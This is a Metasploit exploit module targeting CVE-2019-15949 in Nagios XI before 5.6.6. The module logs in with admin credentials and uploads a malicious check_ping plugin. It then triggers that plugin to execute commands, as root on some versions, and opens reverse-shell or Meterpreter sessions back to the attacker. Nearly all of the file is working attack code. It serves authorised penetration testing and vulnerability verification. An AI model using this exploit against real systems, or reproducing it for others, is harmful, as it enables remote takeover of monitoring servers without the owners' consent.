##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::NagiosXi
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Module::Deprecated
  moved_from 'exploit/linux/http/nagios_xi_authenticated_rce'

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Nagios XI Prior to 5.6.6 getprofile.sh Authenticated Remote Command Execution',
        'Description' => %q{
          This module exploits a vulnerability in the getprofile.sh script
          of Nagios XI prior to 5.6.6 in order to upload a malicious check_ping
          plugin and thereby execute arbitrary commands.

          For Nagios XI 5.2.0-5.4.13, the commands are run as the nagios user.
          For versions 5.5.0-5.6.5 the commands are run as root. Note that versions
          prior to 5.2.0 will still be marked as being vulnerable however this
          module does not presently support exploiting these targets.

          The module uploads a malicious check_ping plugin to the Nagios XI server via
          /admin/monitoringplugins.php and then executes this plugin by issuing
          a HTTP GET request to download a system profile from the server.
          For all supported targets except Linux (cmd), the module uses a command
          stager to write the exploit to the target via the malicious plugin.
          This may not work if Nagios XI is running in a restricted Unix environment,
          so in that case the target must be set to Linux (cmd). The module then
          writes the payload to the malicious plugin while avoiding commands
          that may not be supported.

          Valid credentials for a user with administrative privileges are
          required. This module was successfully tested on Nagios XI 5.3.0 and
          Nagios 5.6.5, both running on CentOS 7. For vulnerable versions before
          5.5.0, it may take a significant amount of time for the payload to get
          back (up to 5 minutes). If exploitation fails against an older system,
          it is recommended to increase the WfsDelay setting (default is 300
          seconds). See the documentation for more information.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Jak Gibb', # https://github.com/jakgibb/ - Discovery and exploit
          'Erik Wynter' # @wyntererik - Metasploit
        ],
        'References' => [
          ['CVE', '2019-15949'],
          ['URL', 'https://github.com/jakgibb/nagiosxi-root-rce-exploit'] # original PHP exploit
        ],
        'Payload' => { 'BadChars' => "\x00" },
        'Targets' => [
          [
            'Linux (x86)', {
              'Arch' => ARCH_X86,
              'Platform' => 'linux',
              'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }
            }
          ],
          [
            'Linux (x64)', {
              'Arch' => ARCH_X64,
              'Platform' => 'linux',
              'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
            }
          ],
          [
            'Linux (cmd)', {
              'Arch' => ARCH_CMD,
              'Platform' => 'unix',
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' },
              'Payload' => {
                'Append' => ' & disown', # the payload must be disowned after execution, otherwise cleanup fails
                'BadChars' => '"'
              }
            }
          ]
        ],
        'Privileged' => true,
        'DisclosureDate' => '2019-07-29',
        'DefaultOptions' => { 'WfsDelay' => 300 }, # Necessary because the payload connects back with a significant delay. On versions older than 5.5.0 it takes especially long.
        'DefaultTarget' => 1,
        'Notes' => {
          'Stability' => [ CRASH_SAFE, ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ],
          'Reliability' => []
        }
      )
    )
    register_options [
      OptString.new('USERNAME', [true, 'Username to authenticate with', 'nagiosadmin']),
      OptString.new('PASSWORD', [true, 'Password to authenticate with', nil])
    ]
  end

  def username
    datastore['USERNAME']
  end

  def password
    datastore['PASSWORD']
  end

  def finish_install
    datastore['FINISH_INSTALL']
  end

  def check
    # Use nagios_xi_login to try and authenticate. If authentication succeeds, nagios_xi_login returns
    # an array containing the http response body of a get request to index.php and the session cookies
    auth_result, err_msg, @auth_cookies, @version = authenticate(username, password, finish_install)

    case auth_result
    when AUTH_RESULTS[:connection_failed]
      return CheckCode::Unknown(err_msg)
    when AUTH_RESULTS[:unexpected_error], AUTH_RESULTS[:not_fully_installed], AUTH_RESULTS[:failed_to_handle_license_agreement], AUTH_RESULTS[:failed_to_extract_tokens], AUTH_RESULTS[:unable_to_obtain_version]
      return CheckCode::Detected(err_msg)
    when AUTH_RESULTS[:not_nagios_application]
      return CheckCode::Safe(err_msg)
    end

    if @version < Rex::Version.new('5.6.6')
      return CheckCode::Appears
    end

    return CheckCode::Safe
  end

  def grab_plugins_nsp
    # visit the plugins page to grab the nsp token required for uploading the payload
    res = send_request_cgi({
      'uri' => @monitoring_plugins_url,
      'method' => 'GET',
      'cookie' => @auth_cookies
    })

    unless res
      fail_with(Failure::Disconnected, "Connection failed while trying to visit `#{@monitoring_plugins_url}`")
    end

    unless res.code == 200 && res.body.include?('<title>Manage Plugins &middot; Nagios XI</title>')
      fail_with(Failure::UnexpectedReply, "Unexpected response received while trying to visit `#{@monitoring_plugins_url}`")
    end

    @nsp = get_nsp(res)

    if @nsp.blank?
      fail_with(Failure::Unknown, 'Failed to obtain the nsp token required to upload the payload')
    end
  end

  def execute_command(cmd, _opts = {})
    print_status("Uploading malicious 'check_ping' plugin...")
    post_data = Rex::MIME::Message.new
    post_data.add_part(Rex::Text.rand_text_numeric(8), nil, nil, 'form-data; name="upload"')
    post_data.add_part(@nsp, nil, nil, 'form-data; name="nsp"')
    post_data.add_part(Rex::Text.rand_text_numeric(8), nil, nil, 'form-data; name="MAX_FILE_SIZE"')
    post_data.add_part(cmd, 'text/plain', nil, 'form-data; name="uploadedfile"; filename="check_ping"')

    # upload payload
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => @monitoring_plugins_url,
      'cookie' => @auth_cookies,
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
      'data' => post_data.to_s
    })

    unless res
      fail_with Failure::Unreachable, 'Upload failed'
    end

    unless res.code == 200 && res.body.include?('New plugin was installed successfully')
      fail_with Failure::Unknown, 'Failed to upload plugin.'
    end

    @plugin_installed = true
  end

  # This request will timeout. It has to, for the exploit to work.
  def execute_payload
    print_status('Executing plugin...')
    send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'includes', 'components', 'profile', 'profile.php'),
      'method' => 'GET',
      'cookie' => @auth_cookies,
      'vars_get' => { 'cmd' => 'download' }
    }, 0)
  end

  def cleanup
    return unless @plugin_installed

    print_status("Deleting malicious 'check_ping' plugin...")
    res = send_request_cgi({
      'uri' => @monitoring_plugins_url,
      'method' => 'GET',
      'cookie' => @auth_cookies,
      'vars_get' => {
        'delete' => 'check_ping',
        'nsp' => @nsp
      }
    })

    unless res
      print_warning("Failed to delete the malicious 'check_ping' plugin: Connection failed. Manual cleanup is required.")
      return
    end

    unless res.code == 200 && res.body.include?('Plugin deleted')
      print_warning("Failed to delete the malicious 'check_ping' plugin. Manual cleanup is required.")
      return
    end

    print_good('Plugin deleted.')
  end

  def exploit
    unless @auth_cookies.present?
      auth_result, err_msg, @auth_cookies, @version = authenticate(username, password, finish_install)
      case auth_result
      when AUTH_RESULTS[:connection_failed]
        return CheckCode::Unknown(err_msg)
      when AUTH_RESULTS[:unexpected_error], AUTH_RESULTS[:not_fully_installed], AUTH_RESULTS[:failed_to_handle_license_agreement], AUTH_RESULTS[:failed_to_extract_tokens], AUTH_RESULTS[:unable_to_obtain_version]
        return CheckCode::Detected(err_msg)
      when AUTH_RESULTS[:not_nagios_application]
        return CheckCode::Safe(err_msg)
      end
    end

    @monitoring_plugins_url = normalize_uri(target_uri.path, 'admin', 'monitoringplugins.php')
    grab_plugins_nsp
    wfsdelay = datastore['WfsDelay']

    if @version < Rex::Version.new('5.2.0')
      fail_with(Failure::NoTarget, "Target is vulnerable but this module does not support exploiting NagiosXI #{@version} at this time.")
    end
    if target.arch.first == ARCH_CMD
      execute_command(payload.encoded)
      message = "Waiting up to #{wfsdelay} seconds for the payload to connect back..."
    else
      execute_cmdstager(background: true)
      message = "Waiting up to #{wfsdelay} seconds for the plugin to request the final payload..."
    end
    if @version >= Rex::Version.new('5.2.0') && @version < Rex::Version.new('5.5.0')
      print_warning("For NagiosXi version #{@version} it may take serveral minutes for a session to open. If the module times out, try increasing the `WfsDelay` value.")
    end
    print_good('Successfully uploaded plugin.')
    execute_payload
    print_status(message)
  end
end
